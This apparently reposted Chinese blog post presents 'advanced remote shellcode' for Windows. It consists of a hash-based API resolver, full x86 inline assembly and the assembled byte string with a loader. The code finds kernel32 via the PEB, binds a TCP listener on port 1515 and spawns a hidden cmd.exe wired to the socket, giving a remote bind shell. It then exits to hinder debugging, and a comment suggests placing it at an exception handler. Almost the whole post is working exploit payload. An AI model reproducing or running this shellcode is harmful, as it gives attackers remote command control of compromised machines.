高级shellcode(远程)

1.函数加密

//函数加密   摘要 (条件尽可能避免有0x00 尽可能避免发生碰撞)注意没有加.dll
int Hash_GetDigest(char * strFunName) {
    unsigned int nDigest = 0;
    while (*strFunName)
    {
        nDigest = ((nDigest << 25) | nDigest >> 7);
        nDigest = nDigest + *strFunName;
        strFunName++;
    }
    return nDigest;
}

先运行试试 成功
高级shellcode(远程)
测试shellcode 正常(注意win下要手动去开户telnet服务)
高级shellcode(远程)
把shellcode放入异常处就可以了

// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
//函数加密摘要 (条件尽可能避免有0x00 尽可能避免发生碰撞)注意没有加.dll
int Hash_GetDigest(char * strFunName) {
    unsigned int nDigest = 0;
    while (*strFunName)
    {
        nDigest = ((nDigest << 25) | nDigest >> 7);
        nDigest = nDigest + *strFunName;
        strFunName++;
    }
    return nDigest;
}

int _tmain(int argc, _TCHAR* argv[])
{
    __asm
    {
        SUB ESP, 0x20      // 开辟一段栈空间,增加健壮性
        push ebp
        mov ebp, esp
        sub esp, 0x10
        JMP tag_Shellcode  // 前置代码,避免后面的数据被解释为指令
                           // [tag_Next-0x25] "cmd.exe\0"
        _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
        _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
        // [tag_Next-0x1D] "ws2_32.dll\0"
        _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
        _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
        _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
        // [tag_Next-0x12] "kernel32.dll\0"
        _asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
        _asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
        _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
        _asm _emit(0x00)
        tag_Shellcode:
                     // 1. GetPC
                     CALL tag_Next
                         tag_Next :
                     pop ebx                     // ebx     = BaseAddr
                         mov[ebp - 0x04], ebx          // Local_1 = Shellcode BaseAddr
                                                       // 2. 获取关键模块基址
                         mov esi, dword ptr fs : [0x30] // esi = PEB的地址
                         mov esi, [esi + 0x0C]          // esi = 指向PEB_LDR_DATA结构的指针
                         mov esi, [esi + 0x1C]          // esi = 模块链表指针InInit...List
                         mov esi, [esi]               // esi = 访问链表中的第二个条目
                         mov edx, [esi + 0x08]          // edx = 获取Kernel32.dll基址
                                                        // 3. 获取LoadLibraryExA的函数地址
                         push edx                    // ImageBase   = Kernel32.dll
                         push 0xC0D83287             // nHashDigest = LoadLibraryExA Digest
                         call fun_GetFunAddrByHash   // fun_GetFunAddrByHash
                         mov edi, eax                 // edi = LoadLibraryExA
                                                      // 4. 加载Kernel32.dll,增强兼容新(Win7取得的是KernelBase.dll的基址)
                         lea esi, [ebx - 0x12]         // eax = "kernel32.dll\0"
                         push 0                      //  /-dwFlags       = 0
                         push 0                      //  |-hFile         = 0
                         push esi                    //  |-lpLibFileName = "kernel32.dll"
                         call edi                    // LoadLibraryExA()
                         mov[ebp - 0x08], eax          // Local_2 = Kernel32.dll基址
                                                       // 5. 加载ws2_32.dll,以方便后面的网络通信编程
                         lea esi, [ebx - 0x1D]         // eax = "ws2_32.dll\0"
                         push 0                      //  /-dwFlags       = 0
                         push 0                      //  |-hFile         = 0
                         push esi                    //  |-lpLibFileName = "ws2_32.dll"
                         call edi                    // LoadLibraryExA()
                         mov[ebp - 0x0C], eax          // Local_3 = ws2_32.dll基址
                                                       // 6. 调用Payload部分
                         push[ebp - 0x0C]             // ws2_32.dll基址
                         push[ebp - 0x08]             // Kernel32.dll基址
                         push[ebp - 0x04]             // BaseAddr
                         call fun_Payload
                         // 7. Payload执行完毕,结束程序,防止被调试分析
                         push[ebp - 0x08]           // ImageBase   = Param_2(Kernel32.dll)
                         push 0x4FD18963           // nHashDigest = ExitProcess Digest 
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         push 0                    //  /-uExitCode = NULL
                         call eax                  // ExitProcess()
                         mov esp, ebp
                         pop ebp

                         /***********************************************************/
                         /* 函数:根据Hash值获取指定的函数地址,返回值为关键函数地址*/
                         /***********************************************************/
                         fun_GetFunAddrByHash : // (int nHashDigest, int ImageBase)
                     push ebp
                         mov ebp, esp
                         sub esp, 0x0C
                         push edx
                         // 1. 获取EAT、ENT与EOT的地址
                         mov edx, [ebp + 0x0C]  // edx     = Param_1(ImageBase)
                         mov esi, [edx + 0x3C]  // esi     = IMAGE_DOS_HEADER.e_lfanew
                         lea esi, [edx + esi]   // esi     = PE文件头
                         mov esi, [esi + 0x78]  // esi     = IMAGE_DIR...EXPORT.VirtualAddress
                         lea esi, [edx + esi]   // esi     = 导出表首地址
                         mov edi, [esi + 0x1C]  // esi     = IMAGE_EXP...ORY.AddressOfFunctions
                         lea edi, [edx + edi]   // edi     = EAT首地址
                         mov[ebp - 0x04], edi  // Local_1 = edi = EAT首地址
                         mov edi, [esi + 0x20]  // edi     = IMAGE_EXP...ORY.AddressOfNames
                         lea edi, [edx + edi]   // edi     = ENT首地址
                         mov[ebp - 0x08], edi  // Local_2 = edi = ENT首地址
                         mov edi, [esi + 0x24]  // edi     = IMAGE_EXP...ORY.AddressOfNameOrdinals
                         lea edi, [edx + edi]   // edi     = EOT首地址
                         mov[ebp - 0x0C], edi  // Local_3 = edi = EOT首地址
                                               // 2. 循环对比ENT中的函数名
                         xor ecx, ecx
                         jmp tag_FirstCmp
                         tag_CmpFunNameLoop :
                     inc ecx
                         tag_FirstCmp :
                     mov esi, [ebp - 0x08]      // esi = Local_2(ENT)
                         mov esi, [esi + 4 * ecx]     // esi = ENT RVA
                         mov edx, [ebp + 0x0C]      // edx = Param_1(ImageBase)
                         lea esi, [edx + esi]       // esi = ENT VA
                         push[ebp + 0x08]         // nDigest    = Param_1(nHashDigest)
                         push esi                // strFunName = ENT VA
                         call fun_Hash_CmpString // fun_Hash_CmpString
                         test eax, eax
                         jz tag_CmpFunNameLoop  // 如果不相等则继续循环比对
                                                // 3. 成功后找到对应的序号
                         mov esi, [ebp - 0x0C]      // esi = Local_3(EOT)
                         xor edi, edi
                         mov di, [esi + ecx * 2]     // edi = 用函数名数组下标在序号数组找到对应序号
                                                     // 4. 使用序号作为索引,找到函数名所对应的函数地址
                         mov edx, [ebp - 0x04]      // edx = Local_1(EAT)
                         mov esi, [edx + edi * 4]     // esi = 用序号在函数地址数组找到对应的函数地址
                         mov edx, [ebp + 0x0C]      // edx = Param_1(ImageBase)
                                                    // 5. 返回获取到的关键函数地址
                         lea eax, [edx + esi]       // 返回GetProcAddress的地址
                         pop edx
                         mov esp, ebp
                         pop ebp
                         retn 0x08

                         /***************************************************************/
                         /* 函数:根据摘要确认函数名,若函数名与此摘要相符返回1否则返回0*/
                         /***************************************************************/
                         fun_Hash_CmpString: //(char *strFunName, int nDigest)
                     push ebp
                         mov ebp, esp
                         sub esp, 0x04         // 开辟局部变量并清零
                         mov dword ptr[ebp - 0x04], 0x00
                         push ebx             // 保存用到的寄存器
                         push ecx
                         push edx
                         mov esi, [ebp + 0x08]  // esi = Param_1(strFunName)
                         xor ecx, ecx
                         xor eax, eax
                         tag_HashLoop :
                     mov al, [esi + ecx]    // al = 字符串的第ECX个字符
                         test al, al           // 判断是否为0,为0结束循环
                         jz tag_HashEnd
                         mov ebx, [ebp - 0x04]  // ebx = Local_1(摘要)
                         shl ebx, 0x19         // ebx = 摘要<<0x19(25)
                         mov edx, [ebp - 0x04]  // edx = Local_1(摘要)
                         shr edx, 0x07         // edx = 摘要>>0x07(07)
                         or ebx, edx          // edx = ebx|edx
                         add ebx, eax         // edx = edx + 字符的ASCII
                         mov[ebp - 0x04], ebx
                         inc ecx              // ecx++
                         jmp tag_HashLoop
                         tag_HashEnd :
                     mov ebx, [ebp + 0x0C]  // ebx = Param_2(nDigest)
                         mov edx, [ebp - 0x04]  // edx = Local_1(摘要)
                         xor eax, eax
                         cmp ebx, edx
                         jne tag_FunEnd
                         mov eax, 1
                         tag_FunEnd:
                     pop edx
                         pop ecx
                         pop ebx
                         mov esp, ebp
                         pop ebp
                         retn 0x08

                         /**********************************/
                         /* 函数:有效载荷部分,返回值Null */
                         /**********************************/
                         fun_Payload: //  (int BaseAddr, int Kernel32_Base, int ws2_32_Base)
                     push ebp
                         mov ebp, esp
                         sub esp, 0x300
                         // 1. 初始化Winsock服务
                         push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
                         push 0x80B46A3D           // nHashDigest = WSAStartup Digest
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         lea  esi, [ebp - 0x300]      // esi = WSADATA
                         push esi                  //  /-lpWSAData         = WSADATA
                         push 0x0202               //  |-wVersionRequested = 2.2
                         call eax                  // WSAStartup()
                         test eax, eax
                         jnz tag_PaloadEnd
                         // 2. 创建一个原始套接字
                         push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
                         push 0xDE78322D           // nHashDigest = WSASocketA Digest 
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         push 0                    //  /-dwFlags        = NULL
                         push 0                    //  |-g              = NULL
                         push 0                    //  |-lpProtocolInfo = NULL
                         push 6                    //  |-protocol       = IPPROTO_TCP
                         push 1                    //  |-type           = SOCK_STREAM
                         push 2                    //  |-af             = AF_INET
                         call eax                  // WSASocketA()
                         mov[ebp - 0x04], eax        // Local_1 = SOCKET
                                                     // 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0xBE05]
                         push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
                         push 0xDDA71064           // nHashDigest = bind Digest 
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         mov word ptr[ebp - 0x200], 0x02   // / SOCKADDR_IN.sin_family = AF_INET
                         mov word ptr[ebp - 0x1FE], 0xEB05 // | SOCKADDR_IN.sin_port   = 0xEB05(1515)
                         mov dword ptr[ebp - 0x1FC], 0     // \ SOCKADDR_IN.sin_addr   = INADDR_ANY       
                         lea esi, [ebp - 0x200]       // esi = SOCKADDR_IN
                         push 0x14                 //  /-namelen = 0x14
                         push esi                  //  |-name    = SOCKADDR_IN
                         push[ebp - 0x04]           //  |-s       = Local_1(SOCKET)
                         call eax                  // bind()
                         test eax, eax
                         jnz tag_PaloadEnd
                         // 4. 监听申请的连接,队列中可容纳5个链接
                         push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
                         push 0x4BD39F0C           // nHashDigest = listen Digest 
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         push 0x7FFFFFFF           //  /-backlog = SOMAXCONN
                         push[ebp - 0x04]           //  |-s       = Local_1(SOCKET)
                         call eax                  // listen()
                         test eax, eax
                         jnz tag_PaloadEnd
                         // 5. 接受一个连接
                         push[ebp + 0x10]           // ImageBase   = Param_3(ws2_32.dll)
                         push 0x01971EB1           // nHashDigest = accept Digest 
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         push 0                    //  /-addrlen = NULL
                         push 0                    //  |-addr    = NULL
                         push[ebp - 0x04]           //  |-s       = Local_1(SOCKET)
                         call eax                  // accept()
                         mov[ebp - 0x04], eax       // Local_1(SOCKET) = SOCKET
                                                    // 6. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
                         push[ebp + 0x0C]           // ImageBase   = Param_2(Kernel32.dll)
                         push 0x6BA6BCC9           // nHashDigest = CreateProcessA Digest 
                         call fun_GetFunAddrByHash // fun_GetFunAddrByHash
                         mov edx, eax               // edx = CreateProcessA
                         lea edi, [ebp - 0x90]        // / 清空STARTUPINFOA
                         mov ecx, 0x11              // |     STARTUPINFOA
                         mov eax, 0x00              // |     从[ebp-0x90]开始
                         cld                       // |     到[ebp-0x48]结束
                         rep stosd                 // |
                         mov dword ptr[ebp - 0x90], 0x00000044 // | STA...A.cb      = 48
                         mov dword ptr[ebp - 0x64], 0x00000100 // | STA...A.dwFlags = STARTF_USESTDHANDLES
                         mov word ptr[ebp - 0x60], 0x0000      // | STA...A.wShowWindow = SW_HIDE
                         mov esi, [ebp - 0x04]                // esi                   = Local_1(SOCKET)
                         mov dword ptr[ebp - 0x58], esi        // | STA...A.hStdInput   = SOCKET
                         mov dword ptr[ebp - 0x54], esi        // | STA...A.hStdOutput  = SOCKET
                         mov dword ptr[ebp - 0x50], esi        // \ STA...A.hStdError   = SOCKET
                         lea esi, [ebp - 0x90]        // esi = STARTUPINFOA
                         lea edi, [ebp - 0x200]       // edi = PROCESS_INFORMATION 
                         mov ebx, [ebp + 0x08]        // ebx = Param_1(BaseAddr)
                         lea ebx, [ebx - 0x25]        // ebx = "cmd.exe\0"
                         push edi                  //  /-lpProcessInformation = PROCESS_INFORMATION
                         push esi                  //  |-lpStartupInfo        = STARTUPINFOA
                         push 0                    //  |-lpCurrentDirectory   = NULL
                         push 0                    //  |-lpEnvironment        = NULL
                         push 0                    //  |-dwCreationFlags      = NULL
                         push 1                    //  |-bInheritHandles      = TRUE
                         push 0                    //  |-lpThreadAttributes   = NULL
                         push 0                    //  |-lpProcessAttributes  = NULL
                         push ebx                  //  |-lpCommandLine        = "cmd.exe\0"
                         push 0                    //  |-lpApplicationName    = NULL
                         call edx                  // CreateProcessA()
                         tag_PaloadEnd :
                     mov esp, ebp
                         pop ebp
                         retn 0x0C
    }

    return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
    char bShellcode[] = { "\x83\xEC\x20\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x0C\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x20\x00\x00\x00\x85\xC0\x74\xE6\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\xFF\x00\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x14\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA2\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x92\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x79\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00" };

        __asm {
        lea eax, bShellcode;
        push eax;
        ret
    }

猜你喜欢

转载自blog.51cto.com/haidragon/2125212